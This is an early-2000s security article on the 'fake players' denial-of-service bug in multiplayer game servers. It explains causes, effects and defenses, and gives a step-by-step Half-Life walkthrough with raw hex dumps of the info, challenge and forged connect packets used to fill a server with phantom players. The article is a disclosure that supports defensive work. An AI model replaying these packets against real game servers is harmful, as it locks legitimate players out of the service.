Cyber Security Expo
 
An introduction to the Fake players bug and DoS 0.1.1 by Luigi Auriemma on 04/11/03

 


Introduction

First of all, this bug has videogames as target and affects almost all the games with multiplayer support currently available; there is not too much to say about, however if you are not a gamer probably you could find this document enough interesting (... I hope eh eh eh).

Each online game server (on Internet or in LAN) lets players to join and to start playing having tons of fun with other players. That's just why exists multiplayer 8-)

Just the players are the major problem of games because each server has a limit of players and the checks made by it to let these players to enter in the game are really poor. This means that an attacker can fill a game server with a custom number of inexistent players (1 player is "emulated" by no more than one or two packets of data) and the server after reached the maximum number of players will not accept others.

The effect is a Denial of Service (DoS) where the real players cannot use the service offered by the server because it is already full.


What games are vulnerable

By what I know and I have seen in the games I have tested... almost all the games with multiplayer support are vulnerables.

With multiplayer support I mean the following requirement:

- the presence of a server that hosts the match and clients that want to join the hosted match
- a protocol of communication specific for the game. The protocol is used to send data and information to let the players to join, to let the exchange of information and also the to send and receive data of the match's situation (players movements, shots and so on).

So we have games like Half-life, Quake 3 and Unreal Tournament that are vulnerable to the Fake player bug.


What games are NOT vulnerable

Practically all the games that use a centralized server where can exists only ONE player with the same information and that permits access only through a good authentication.

An example are the MMORPG games (massive multiplayer online role-playing games) where exists one world where there are no limits of players (officially) and exists an authentication and the presence of only one player (each player is usually authorized by username and password or by a cd-key).


Causes

Almost all the videogames use the UDP protocol to communicate just because the connection-less packets are easy to manage and moreover are faster than TCP connections. However the usage of UDP is not the real cause of the fake players bug but it is a good thing for who launches the fake players attacks just because:

- he don't need to use too much resources on his machine
- the exploits can be easily written - possible spoofing the packets (spoofing can easily avoid using unique challenge keys based on source IP:port)

However the main cause is just the absence of real checks, in fact sometimes is needed only one UDP packet to create a fake player into the target server.


Effects

The known effects of this type of attack are:

  1. Real players cannot join a server under attack because it is full
  2. Games that use "lobby style multiplayer" have a bad DoS because the match cannot start. Practically the server is something like a room. Players enter in this room where they can chat and must push a "ready" button if they want to start the match (all the players must be ready). When there is a fake players attack the match cannot start because the fake players will not set the ready flag and also if the admin kick them, they will reenter in the same moment (usually this type of game doesn't allow the IP banning)
  3. Others effect specific of some games and, so, cannot be listed here


Disadvantages for the attacker

Naturally also the attacker will have problems using this type of attack. The main problem is the bandwidth in reception (download), in fact every time that a player is accepted, the server (usually) starts to send a lot of data to the client.

The packets that the attacker will receive are keep-alive packets and probably also game data.


Practical example

The following is the first fake players bug I have found (and probably is also the first ever found... though... I don't know and it is not important). The fake players bug in Half-Life for not-WON authenticated servers (as LAN and Internet servers that don't use the WON authentication):

Information to know before starting:

  1. The server uses a challenge key (32bit number) that is the identifier of the current match hosted by it (so, new match = new key)
  2. The server doesn't accept players/packets from the same source port (of the same IP address naturally). That means that each player from the same IP address must use a different source port or will not be accepted (this is only an useless note, because almost all the multiplayer games use this method)
  3. We will use the UDP protocol and the destination (server) port is the default 27015

Let's go with the attack:

1) We need some information useful to launch our attack. We need to know exactly:

- the protocol wanted
- if we must send a password or not
- if the server is already full or not

   From: client
   To:   server
   Data: ˙˙˙˙infostring
         |   |
         |   request
         0xffffffff means that we are using the info/login channel.
         Half-Life and other games based on the Quake engine use 2
         virtual 'channels': information and data

2) The server sends us just the information we want:

   From: server
   To:   client
   Data (in hex format):
                                 ff ff ff ff 69 6e             ˙˙˙˙in
   66 6f 73 74 72 69 6e 67 72 65 73 70 6f 6e 73 65   fostringresponse
   00 5c 70 72 6f 74 6f 63 6f 6c 5c 34 36 5c 61 64   .\protocol\46\ad
   64 72 65 73 73 5c 31 39 32 2e 31 36 38 2e 30 2e   dress\192.168.0.
   33 3a 32 37 30 31 35 5c 70 6c 61 79 65 72 73 5c   3:27015\players\
   30 5c 70 72 6f 78 79 74 61 72 67 65 74 5c 30 5c   0\proxytarget\0\
   6c 61 6e 5c 31 5c 6d 61 78 5c 36 5c 62 6f 74 73   lan\1\max\6\bots
   5c 30 5c 67 61 6d 65 64 69 72 5c 76 61 6c 76 65   \0\gamedir\valve
   5c 64 65 73 63 72 69 70 74 69 6f 6e 5c 48 61 6c   \description\Hal
   66 2d 4c 69 66 65 5c 68 6f 73 74 6e 61 6d 65 5c   f-Life\hostname\
   54 65 73 74 5c 6d 61 70 5c 66 72 65 6e 7a 79 5c   Test\map\frenzy\
   74 79 70 65 5c 64 5c 70 61 73 73 77 6f 72 64 5c   type\d\password\
   30 5c 6f 73 5c 6c 5c 73 65 63 75 72 65 5c 30 00   0\os\l\secure\0.

If you need to know what these parameters mean, you can find tons of information on Internet. What we need are:

\protocol\46 The protocol we need is 46
\password\0 good, the server don't require password. If the server requires password we must simply send it in plain text when we will launch the attack
\players\0 good, the server is not full so we can launch our attack. If it is full we must simply request the same information each time (some seconds) so when will be a new empty place, our fake player will get it.

3) Now we need the challenge key of the current match:

   From: client
   To:   server
   Data: ˙˙˙˙getchallenge

4) The server will send us just the info we have requested

   From: server
   To:   client
   Data: ˙˙˙˙A00000000 916706044 1

The challenge key is just 916706044

5) Now we can launch the attack.
A "connect" packet (the command used to join) is like the following:

 From: client
   To:   server
   Data (in hex format):
                                 ff ff ff ff 63 6f             ˙˙˙˙co
   6e 6e 65 63 74 20 34 36 20 20 31 35 31 31 32 35   nnect 46  151125
   33 36 36 31 20 22 5c 70 72 6f 74 5c 32 5c 75 6e   3661 '\prot\2\un
   69 71 75 65 5c 2d 31 5c 72 61 77 5c 66 66 66 66   ique\-1\raw\ffff
   66 37 62 64 65 66 37 33 39 34 32 31 30 30 30 30   f7bdef7394210000
   30 38 34 32 31 30 38 63 36 33 31 30 22 20 22 5c   0842108c6310' '\
   6d 6f 64 65 6c 5c 67 6f 72 64 6f 6e 5c 74 6f 70   model\gordon\top
   63 6f 6c 6f 72 5c 31 32 38 5c 62 6f 74 74 6f 6d   color\128\bottom
   63 6f 6c 6f 72 5c 31 32 38 5c 72 61 74 65 5c 39   color\128\rate\9
   39 39 39 2e 30 30 30 30 30 30 5c 63 6c 5f 75 70   999.000000\cl_up
   64 61 74 65 72 61 74 65 5c 32 30 5c 63 6c 5f 6c   daterate\20\cl_l
   77 5c 31 5c 63 6c 5f 6c 63 5c 31 5c 63 6c 5f 64   w\1\cl_lc\1\cl_d
   6c 6d 61 78 5c 31 32 38 5c 68 75 64 5f 63 6c 61   lmax\128\hud_cla
   73 73 61 75 74 6f 6b 69 6c 6c 5c 31 5c 6e 61 6d   ssautokill\1\nam
   65 5c 6d 79 6e 61 6d 65 22 0a                     e\myname'.      

Here we can see:

- connect the command to join
- 46 the protocol
- raw 32 bytes (hex) that are the identifiers of the CD-KEY used by the client. The attack is made versus servers that do not use the WON server so they don't check the client's CD-KEY. However each server can accept max 4 clients at the same time with the same key. Randomization will help us 8-)
- password also if this parameter is not in the example dump, it is used when we want to join a password protected server. If the password is hello, we will use \password\hello

6) Confirmation from the server

From: server
   To:   client
   Data: ˙˙˙˙B 4294967295 1 '192.168.0.3:65182'
         |   | |          | |
         |   | |          | our IP:port (registered by the server)
         |   | |          our client number
         |   | this is the value we have used in the parameter unique
         |   | used in the previous packet
         |   successfully joined
         0xfffffff: information data

The server has accepted our new player.

7) If the server is full, it will send the following packet

   From: server
   To:   client
   Data: ˙˙˙˙9Server is full

The fake players generated are only "virtual" players that will not be spawned in the game's place (for example the arena or a map).

In all the games I have seen, only one instead considers the new players as REAL players. The game is the first Unreal game by Epic. It's incredibly fun to see the new fake players that spawn in the default spawn locations and kill themselves spawning at the same place ah ah ah 8-)


Possible solutions

The following are some ideas and partial ideas that can "limit" this problem:

- Don't adding players to the server so easily (usually is needed no more than one packet!)
- Using challenge keys based on the source IP and port (as used by the Quake 3 engine to avoid also the usage of spoofing attacks)
- Using smaller timeouts and to let the admins to add more flexible bans based on defined policies. For example: the attacker successfully adds a fake player to the server, then the player goes in timeout and the attacker will redo the same operation. I think that an automatic banning based on the number of timeouts collected by the same IP could be interesting but the limit of this method is for the other players that are behind the same NAT used by the banned attacker 8 -( Multiple players behind the same IP (NAT) are a problem for bans based on IP addresses.
- Usage of unique cd-keys authenticated via centralized servers. Until now this has been the better implemented solution
- the usage of TCP for the initial login is most secure and limit possible abuses because are needed more resources for the attack
- Others...???

The only effectiveness solution I have find in the modern games is the usage of a unique cd-keys checked by a centralized server. This method naturally don't limit the fake players DoS versus servers in LANs, but at least limits the number of attacks versus pubblic servers.

An unique cd-key can be easily banned if who uses it is the author of some fake players DoS, just because he NEEDS the key to launch the attack versus Internet servers that require the central authorization and without the key he has no power.

The advantages of this solution are:

- to limit the fake players DoS
- to limit (a bit) the piracy

Instead the disadvantages are:

- the centralized server could be the target of other types of attacks without the centralized authorization server doesn't exist the authorization
- the usage of unique cd-keys lets the attackers and the cheaters to be more hungry of keys. The effect could be the usage of brute force tools to retrieve the valid cd-keys from the centralized server or the raise of cd-keys'theft
- personally I don't like too much the idea to be "logged" and traced by a server

Then exists ever the latest method: security through obscurity (as the usage of algorithms and protocol that hide the data and are difficult to understand or reverse.

This method naturally does NOT offer a real security but some games like to encode their packets so an attacker who wanna launch a fake players DoS must first reverse the algorithm used to encode the data or finding other "alternative" methods.

Fortunally (for the attacker) is not ever needed to reverse an algorithm or to understand a protocol, in fact sometimes can be used also the same encoded packet dumped with a sniffer (as happens with Tribes 1)


Conclusion

The game developers should take more time when they write the network protocol of their games and should pay attention to all the known and common problems available.

If you have ideas or things to add to this document, comments or other types of feedback, let me know!

Rate this article

All images, content & text (unless other ownership applies) are © copyrighted 2000 -  , Infosecwriters.com. All rights reserved. Comments are property of the respective posters.